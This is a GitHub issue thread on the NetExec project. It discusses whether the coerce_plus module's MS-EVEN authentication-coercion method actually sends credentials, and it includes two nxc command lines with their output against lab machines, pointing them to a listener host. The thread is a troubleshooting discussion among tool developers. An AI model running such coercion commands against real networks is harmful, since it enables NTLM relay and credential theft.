Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

coerce_plus: MS-EVEN not working #504

Open
rtpt-romankarwacik opened this issue Dec 11, 2024 · 3 comments
Open

coerce_plus: MS-EVEN not working #504

rtpt-romankarwacik opened this issue Dec 11, 2024 · 3 comments

Comments

@rtpt-romankarwacik
Copy link

rtpt-romankarwacik commented Dec 11, 2024

The MS-EVEN method used in coerce_plus is not working on the machines I tested (Win 10, Win 11), there are connections being triggered, but they are null sessions. When I looked at the PR, it looks like @NeffIsBack had the same results in the screenshot: #300 (comment)
Are there any cases where this attack actually uses credentials?

$ nxc smb -u user -p 'user' --local-auth -M coerce_plus -o LISTENER=192.168.56.111 METHOD=MSEven -- 192.168.56.113
SMB         192.168.56.113  445    WIN11VM          [*] Windows 11 Build 22621 x64 (name:WIN11VM) (domain:WIN11VM) (signing:False) (SMBv1:False)
SMB         192.168.56.113  445    WIN11VM          [+] WIN11VM\user:user (PRIVILEGED!)
COERCE_PLUS 192.168.56.113  445    WIN11VM          VULNERABLE, MSEven
$ nxc smb -u user -p 'user' --local-auth -M coerce_plus -o LISTENER=192.168.56.111 METHOD=MSEven -- 192.168.56.112
SMB         192.168.56.112  445    WIN10VM      [*] Windows 10 / Server 2019 Build 18362 x64 (name:WIN10VM) (domain:WIN10VM) (signing:False) (SMBv1:False)
SMB         192.168.56.112  445    WIN10VM      [+] WIN10VMREAL\user:user 
COERCE_PLUS 192.168.56.112  445    WIN10VM      VULNERABLE, MSEven

image

NetExec info

  • OS: debian
  • Version of nxc: e19868ec
  • Installed from: github

EDIT: In the original POC ( https://github.com/evilashz/CheeseOunce ) the author says:

The MS-EVEN runing under the NT AUTHORITY\LOCAL SERVICE account, and this account can't provide valid credentials during network authentication so, in the NTLMRelay attacking, it can't work, like this (Sorry,I didn't test it fully, before push it):

Maybe it should be removed?

@NeffIsBack
Copy link
Contributor

Haven't figured it out yet, but first time i tested it it didn't work, second time i tested it it did work. Not sure what the problem was, but at least sometimes it works

@rtpt-romankarwacik
Copy link
Author

Haven't figured it out yet, but first time i tested it it didn't work, second time i tested it it did work. Not sure what the problem was, but at least sometimes it works

We had the same thought, but maybe it was just a false positive due to most of the time being used together with the other methods. In the reply you posted in the merge request, you said that it worked, and according to the screenshot no authentication data was sent. Additionally, the service runs network restricted, so I do not see how it could work at all. Or are there Windows Versions where the eventlog service is not running as network restricted?

@NeffIsBack
Copy link
Contributor

Looking at the wireshark traffic you might be right, there are no auth info send in the ntlm request. Maybe there is an edge case where the service isn't running in network restricted mode?

What is really weird to me is, that we still get an STATUS_SUCCESS back from the server when authenticating locally (only the DC though). That doesn't make sense to me.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants